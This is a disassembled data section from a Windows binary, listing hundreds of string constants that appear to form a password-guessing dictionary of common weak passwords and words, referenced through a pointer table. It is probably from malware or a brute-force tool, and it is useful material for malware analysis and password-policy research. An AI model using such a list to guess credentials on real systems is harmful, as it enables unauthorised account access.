aLol		db 'lol',0              ; DATA XREF: ___:004311B4o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:004311B0o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:004311ACo
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: ___:004311A8o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:004311A4o
		align 4
aTestin		db 'testin',0           ; DATA XREF: ___:004311A0o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:0043119Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: ___:00431198o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00431194o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: ___:00431190o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:0043118Co
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:00431188o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: ___:00431184o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:00431180o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: ___:0043117Co
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:00431178o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: ___:00431174o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: ___:00431170o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:0043116Co
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: ___:00431168o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:00431164o
		align 10h
aYang		db 'yang',0             ; DATA XREF: ___:00431160o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:0043115Co
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:00431158o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:00431154o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: ___:00431150o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:0043114Co
		align 10h
aXman		db 'xman',0             ; DATA XREF: ___:00431148o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:00431144o
		align 10h
aXena		db 'xena',0             ; DATA XREF: ___:00431140o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:0043113Co
aWwii		db 'wwii',0             ; DATA XREF: ___:00431138o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:00431134o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:00431130o
		align 4
aWork		db 'work',0             ; DATA XREF: ___:0043112Co
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:00431128o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00431124o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:00431120o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:0043111Co
		align 4
aWood		db 'wood',0             ; DATA XREF: ___:00431118o
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:00431114o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: ___:00431110o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:0043110Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: ___:00431108o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00431104o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: ___:00431100o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:004310FCo
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: ___:004310F8o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:004310F4o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:004310F0o
		align 4
aWinston	db 'winston',0          ; DATA XREF: ___:004310ECo
aWing		db 'wing',0             ; DATA XREF: ___:004310E8o
		align 4
aWine		db 'wine',0             ; DATA XREF: ___:004310E4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:004310E0o
aWilma		db 'wilma',0            ; DATA XREF: ___:004310DCo
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:004310D8o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: ___:004310D4o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:004310D0o
aWill		db 'will',0             ; DATA XREF: ___:004310CCo
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:004310C8o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: ___:004310C4o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: ___:004310C0o
aWhiting	db 'whiting',0          ; DATA XREF: ___:004310BCo
aWhite		db 'white',0            ; DATA XREF: ___:004310B8o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:004310B4o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:004310B0o
aWhatever	db 'whatever',0         ; DATA XREF: ___:004310ACo
		align 10h
aWestern	db 'western',0          ; DATA XREF: ___:004310A8o
aWest		db 'west',0             ; DATA XREF: ___:004310A4o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:004310A0o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: ___:0043109Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: ___:00431098o
		align 4
aWell		db 'well',0             ; DATA XREF: ___:00431094o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: ___:00431090o
		align 4
aWeed		db 'weed',0             ; DATA XREF: ___:0043108Co
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: ___:00431088o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: ___:00431084o
aWave		db 'wave',0             ; DATA XREF: ___:00431080o
		align 10h
aWater		db 'water',0            ; DATA XREF: ___:0043107Co
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: ___:00431078o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: ___:00431074o
		align 4
aWarren		db 'warren',0           ; DATA XREF: ___:00431070o
		align 4
aWarp		db 'warp',0             ; DATA XREF: ___:0043106Co
		align 4
aWargames	db 'wargames',0         ; DATA XREF: ___:00431068o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: ___:00431064o
aWarez		db 'warez',0            ; DATA XREF: ___:00431060o
		align 4
aWard		db 'ward',0             ; DATA XREF: ___:0043105Co
		align 10h
aWaco		db 'waco',0             ; DATA XREF: ___:00431058o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: ___:00431054o
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: ___:00431050o
		align 4
aVisual		db 'visual',0           ; DATA XREF: ___:0043104Co
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: ___:00431048o
aVirus		db 'virus',0            ; DATA XREF: ___:00431044o
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: ___:00431040o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: ___:0043103Co
		align 4
aVillage	db 'village',0          ; DATA XREF: ___:00431038o
aVideogam	db 'videogam',0         ; DATA XREF: ___:00431034o
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A2o
					; ___:00431030o
		align 4
aVictor		db 'victor',0           ; DATA XREF: ___:0043102Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: ___:00431028o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: ___:00431024o
aVeronica	db 'veronica',0         ; DATA XREF: ___:00431020o
		align 4
aVenus		db 'venus',0            ; DATA XREF: ___:0043101Co
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: ___:00431018o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: ___:00431014o
aValerie	db 'valerie',0          ; DATA XREF: ___:00431010o
aVagina		db 'vagina',0           ; DATA XREF: ___:0043100Co
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: ___:00431008o
		align 4
aUtility	db 'utility',0          ; DATA XREF: ___:00431004o
aUtil		db 'util',0             ; DATA XREF: ___:00431000o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: ___:00430FFCo
		align 10h
aUsername	db 'username',0         ; DATA XREF: ___:00430FF8o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: ___:00430FF4o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: ___:00430FF0o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: ___:00430FECo
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: ___:00430FE8o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: ___:00430FE4o
		align 4
aUpload		db 'upload',0           ; DATA XREF: ___:00430FE0o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: ___:00430FDCo
		align 4
aUnknown_1	db 'unknown',0          ; DATA XREF: ___:00430FD8o
aUniversi	db 'universi',0         ; DATA XREF: ___:00430FD4o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: ___:00430FD0o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: ___:00430FCCo
		align 4
aUniform	db 'uniform',0          ; DATA XREF: ___:00430FC8o
aUnicorn	db 'unicorn',0          ; DATA XREF: ___:00430FC4o
aUnhappy	db 'unhappy',0          ; DATA XREF: ___:00430FC0o
aUndo		db 'undo',0             ; DATA XREF: ___:00430FBCo
		align 4
aUncle		db 'uncle',0            ; DATA XREF: ___:00430FB8o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: ___:00430FB4o
		align 4
aUgly		db 'ugly',0             ; DATA XREF: ___:00430FB0o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: ___:00430FACo
		align 4
aTurn		db 'turn',0             ; DATA XREF: ___:00430FA8o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: ___:00430FA4o
aTubas		db 'tubas',0            ; DATA XREF: ___:00430FA0o
		align 4
aTruth		db 'truth',0            ; DATA XREF: ___:00430F9Co
		align 4
aTrue		db 'true',0             ; DATA XREF: ___:00430F98o
		align 4
aTron		db 'tron',0             ; DATA XREF: ___:00430F94o
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: ___:00430F90o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: ___:00430F8Co
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: ___:00430F88o
aTrisha		db 'trisha',0           ; DATA XREF: ___:00430F84o
		align 4
aTrek		db 'trek',0             ; DATA XREF: ___:00430F80o
		align 10h
aTree		db 'tree',0             ; DATA XREF: ___:00430F7Co
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: ___:00430F78o
		align 4
aTrap		db 'trap',0             ; DATA XREF: ___:00430F74o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: ___:00430F70o
		align 4
aTrails		db 'trails',0           ; DATA XREF: ___:00430F6Co
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: ___:00430F68o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: ___:00430F64o
		align 10h
aTraci		db 'traci',0            ; DATA XREF: ___:00430F60o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: ___:00430F5Co
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: ___:00430F58o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: ___:00430F54o
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: ___:00430F50o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: ___:00430F4Co
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: ___:00430F48o
		align 4
aToken		db 'token',0            ; DATA XREF: ___:00430F44o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: ___:00430F40o
		align 4
aToad		db 'toad',0             ; DATA XREF: ___:00430F3Co
		align 4
aTits		db 'tits',0             ; DATA XREF: ___:00430F38o
		align 4
aTina		db 'tina',0             ; DATA XREF: ___:00430F34o
		align 4
aTime		db 'time',0             ; DATA XREF: ___:00430F30o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: ___:00430F2Co
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: ___:00430F28o
aThursday	db 'thursday',0         ; DATA XREF: ___:00430F24o
		align 10h
aThin		db 'thin',0             ; DATA XREF: ___:00430F20o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: ___:00430F1Co
aThailand	db 'thailand',0         ; DATA XREF: ___:00430F18o
		align 4
aText		db 'text',0             ; DATA XREF: ___:00430F14o
		align 4
aTetris		db 'tetris',0           ; DATA XREF: ___:00430F10o
		align 4
aTess		db 'tess',0             ; DATA XREF: ___:00430F0Co
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: ___:00430F08o
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: ___:00430F04o
		align 4
aTera		db 'tera',0             ; DATA XREF: ___:00430F00o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: ___:00430EFCo
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: ___:00430EF8o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: ___:00430EF4o
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: ___:00430EF0o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: ___:00430EECo
aTeen		db 'teen',0             ; DATA XREF: ___:00430EE8o
		align 4
aTech		db 'tech',0             ; DATA XREF: ___:00430EE4o
		align 4
aTears		db 'tears',0            ; DATA XREF: ___:00430EE0o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: ___:00430EDCo
		align 4
aTeam		db 'team',0             ; DATA XREF: ___:00430ED8o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: ___:00430ED0o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:00430ECCo
		align 10h
aTarget		db 'target',0           ; DATA XREF: ___:00430EC8o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:00430EC4o
		align 10h
aTape		db 'tape',0             ; DATA XREF: ___:00430EC0o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:00430EBCo
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: ___:00430EB8o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: ___:00430EB4o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:00430EB0o
		align 4
aTami		db 'tami',0             ; DATA XREF: ___:00430EACo
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:00430EA8o
		align 4
aTall		db 'tall',0             ; DATA XREF: ___:00430EA4o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:00430EA0o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: ___:00430E9Co
aSysop		db 'sysop',0            ; DATA XREF: ___:00430E98o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:00430E94o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:00430E90o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:00430E8Co
		align 4
aSword		db 'sword',0            ; DATA XREF: ___:00430E88o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:00430E84o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: ___:00430E80o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:00430E7Co
aSuzie		db 'suzie',0            ; DATA XREF: ___:00430E78o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:00430E74o
aSusie		db 'susie',0            ; DATA XREF: ___:00430E70o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:00430E6Co
aSusan		db 'susan',0            ; DATA XREF: ___:00430E68o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: ___:00430E64o
aSurfer		db 'surfer',0           ; DATA XREF: ___:00430E60o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:00430E5Co
		align 10h
aSupport	db 'support',0          ; DATA XREF: ___:00430E58o
aSupervis	db 'supervis',0         ; DATA XREF: ___:00430E54o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:00430E50o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: ___:00430E4Co
		align 4
aSuperson	db 'superson',0         ; DATA XREF: ___:00430E48o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:00430E44o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:00430E40o
		align 4
aSummer		db 'summer',0           ; DATA XREF: ___:00430E3Co
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:00430E38o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:00430E34o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:00430E30o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: ___:00430E2Co
aSubway		db 'subway',0           ; DATA XREF: ___:00430E28o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:00430E24o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:00430E20o
		align 4
aStrip		db 'strip',0            ; DATA XREF: ___:00430E18o
		align 10h
aString		db 'string',0           ; DATA XREF: ___:00430E14o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:00430E10o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:00430E0Co
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: ___:00430E08o
		align 4
aStrange	db 'strange',0          ; DATA XREF: ___:00430E04o
aStones		db 'stones',0           ; DATA XREF: ___:00430E00o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: ___:00430DFCo
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:00430DF8o
		align 10h
aSteve		db 'steve',0            ; DATA XREF: ___:00430DF4o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:00430DF0o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: ___:00430DECo
		align 4
aSteph		db 'steph',0            ; DATA XREF: ___:00430DE8o
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:00430DE4o
		align 4
aSteal		db 'steal',0            ; DATA XREF: ___:00430DE0o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:00430DDCo
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: ___:00430DD8o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:00430DD4o
aStartrek	db 'startrek',0         ; DATA XREF: ___:00430DD0o
		align 4
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
					; ___:00430DCCo
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:00430DC8o
		align 10h
aStar		db 'star',0             ; DATA XREF: ___:00430DC4o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:00430DC0o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: ___:00430DBCo
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:00430DB8o
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: ___:00430DB4o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:00430DB0o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: ___:00430DACo
aSpunk		db 'spunk',0            ; DATA XREF: ___:00430DA8o
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: ___:00430DA4o
		align 4
aSpring		db 'spring',0           ; DATA XREF: ___:00430DA0o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:00430D9Co
		align 4
aSpit		db 'spit',0             ; DATA XREF: ___:00430D98o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:00430D94o
		align 10h
aSpider		db 'spider',0           ; DATA XREF: ___:00430D90o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:00430D8Co
		align 10h
aSpell		db 'spell',0            ; DATA XREF: ___:00430D88o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:00430D84o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: ___:00430D80o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:00430D7Co
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:00430D78o
		align 10h
aSource		db 'source',0           ; DATA XREF: ___:00430D74o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:00430D70o
aSonya		db 'sonya',0            ; DATA XREF: ___:00430D6Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:00430D68o
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: ___:00430D64o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:00430D60o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: ___:00430D5Co
		align 4
aSoftware	db 'software',0         ; DATA XREF: ___:00430D58o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:00430D54o
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: ___:00430D50o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:00430D4Co
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:00430D48o
		align 4
aSoap		db 'soap',0             ; DATA XREF: ___:00430D44o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:00430D40o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: ___:00430D3Co
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:00430D38o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: ___:00430D34o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:00430D30o
		align 4
aSmut		db 'smut',0             ; DATA XREF: ___:00430D2Co
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:00430D28o
		align 4
aSmother	db 'smother',0          ; DATA XREF: ___:00430D24o
aSmooch		db 'smooch',0           ; DATA XREF: ___:00430D20o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: ___:00430D1Co
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:00430D18o
		align 4
aSmart		db 'smart',0            ; DATA XREF: ___:00430D14o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:00430D10o
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00430D0Co
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:00430D08o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: ___:00430D04o
aSlick		db 'slick',0            ; DATA XREF: ___:00430D00o
		align 4
aSlave		db 'slave',0            ; DATA XREF: ___:00430CFCo
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:00430CF8o
		align 4
aSite		db 'site',0             ; DATA XREF: ___:00430CF4o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:00430CF0o
		align 4
aSinger		db 'singer',0           ; DATA XREF: ___:00430CECo
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:00430CE8o
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:00430CE4o
		align 4
aSimple		db 'simple',0           ; DATA XREF: ___:00430CE0o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:00430CDCo
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: ___:00430CD8o
aSilver		db 'silver',0           ; DATA XREF: ___:00430CD4o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: ___:00430CD0o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:00430CCCo
		align 10h
aSick		db 'sick',0             ; DATA XREF: ___:00430CC8o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:00430CC4o
aShort		db 'short',0            ; DATA XREF: ___:00430CC0o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:00430CBCo
aShiva		db 'shiva',0            ; DATA XREF: ___:00430CB8o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:00430CB4o
aShit		db 'shit',0             ; DATA XREF: ___:00430CB0o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:00430CACo
aShift		db 'shift',0            ; DATA XREF: ___:00430CA8o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:00430CA4o
		align 10h
aShell		db 'shell',0            ; DATA XREF: ___:00430CA0o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:00430C9Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:00430C98o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: ___:00430C94o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:00430C90o
		align 4
aShark		db 'shark',0            ; DATA XREF: ___:00430C8Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:00430C88o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: ___:00430C84o
aSexy		db 'sexy',0             ; DATA XREF: ___:00430C80o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: ___:00430C7Co
		align 4
aService	db 'service',0          ; DATA XREF: ___:00430C78o
aSerial_0	db 'serial',0           ; DATA XREF: ___:00430C74o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:00430C70o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: ___:00430C6Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:00430C68o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:00430C64o
		align 4
aSega		db 'sega',0             ; DATA XREF: ___:00430C60o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:00430C5Co
		align 4
aSecurity	db 'security',0         ; DATA XREF: ___:00430C58o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:00430C54o
		align 10h
aScout		db 'scout',0            ; DATA XREF: ___:00430C50o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:00430C4Co
		align 10h
aScott		db 'scott',0            ; DATA XREF: ___:00430C48o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:00430C44o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:00430C40o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:00430C3Co
aSchool		db 'school',0           ; DATA XREF: ___:00430C38o
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: ___:00430C34o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:00430C30o
aSaxon		db 'saxon',0            ; DATA XREF: ___:00430C2Co
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:00430C28o
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: ___:00430C24o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: ___:00430C20o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:00430C1Co
		align 4
aSandy		db 'sandy',0            ; DATA XREF: ___:00430C18o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:00430C14o
		align 4
aSample		db 'sample',0           ; DATA XREF: ___:00430C10o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:00430C0Co
		align 10h
aSalt		db 'salt',0             ; DATA XREF: ___:00430C08o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:00430C04o
		align 10h
aSalami		db 'salami',0           ; DATA XREF: ___:00430C00o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:00430BFCo
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: ___:00430BF8o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:00430BF4o
		align 10h
aRunning_0	db 'running',0          ; DATA XREF: ___:00430BF0o
aRules		db 'rules',0            ; DATA XREF: ___:00430BECo
		align 10h
aRude		db 'rude',0             ; DATA XREF: ___:00430BE8o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:00430BE4o
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: ___:00430BE0o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:00430BDCo
		align 10h
aRough		db 'rough',0            ; DATA XREF: ___:00430BD8o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:00430BD4o
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: ___:00430BD0o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: ___:00430BCCo
aRose		db 'rose',0             ; DATA XREF: ___:00430BC8o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: ___:00430BC4o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:00430BC0o
aRomeo		db 'romeo',0            ; DATA XREF: ___:00430BBCo
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:00430BB8o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: ___:00430BB4o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:00430BB0o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:00430BACo
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:00430BA8o
		align 10h
aRock		db 'rock',0             ; DATA XREF: ___:00430BA4o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:00430BA0o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:00430B9Co
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: ___:00430B98o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:00430B94o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:00430B90o
		align 4
aRobin		db 'robin',0            ; DATA XREF: ___:00430B8Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:00430B88o
		align 4
aRoach		db 'roach',0            ; DATA XREF: ___:00430B84o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:00430B80o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: ___:00430B7Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:00430B78o
		align 4
aRing		db 'ring',0             ; DATA XREF: ___:00430B74o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:00430B70o
		align 10h
aRight		db 'right',0            ; DATA XREF: ___:00430B6Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:00430B68o
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:00430B64o
		align 4
aRich		db 'rich',0             ; DATA XREF: ___:00430B60o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:00430B5Co
		align 4
aReveal		db 'reveal',0           ; DATA XREF: ___:00430B58o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:00430B54o
		align 10h
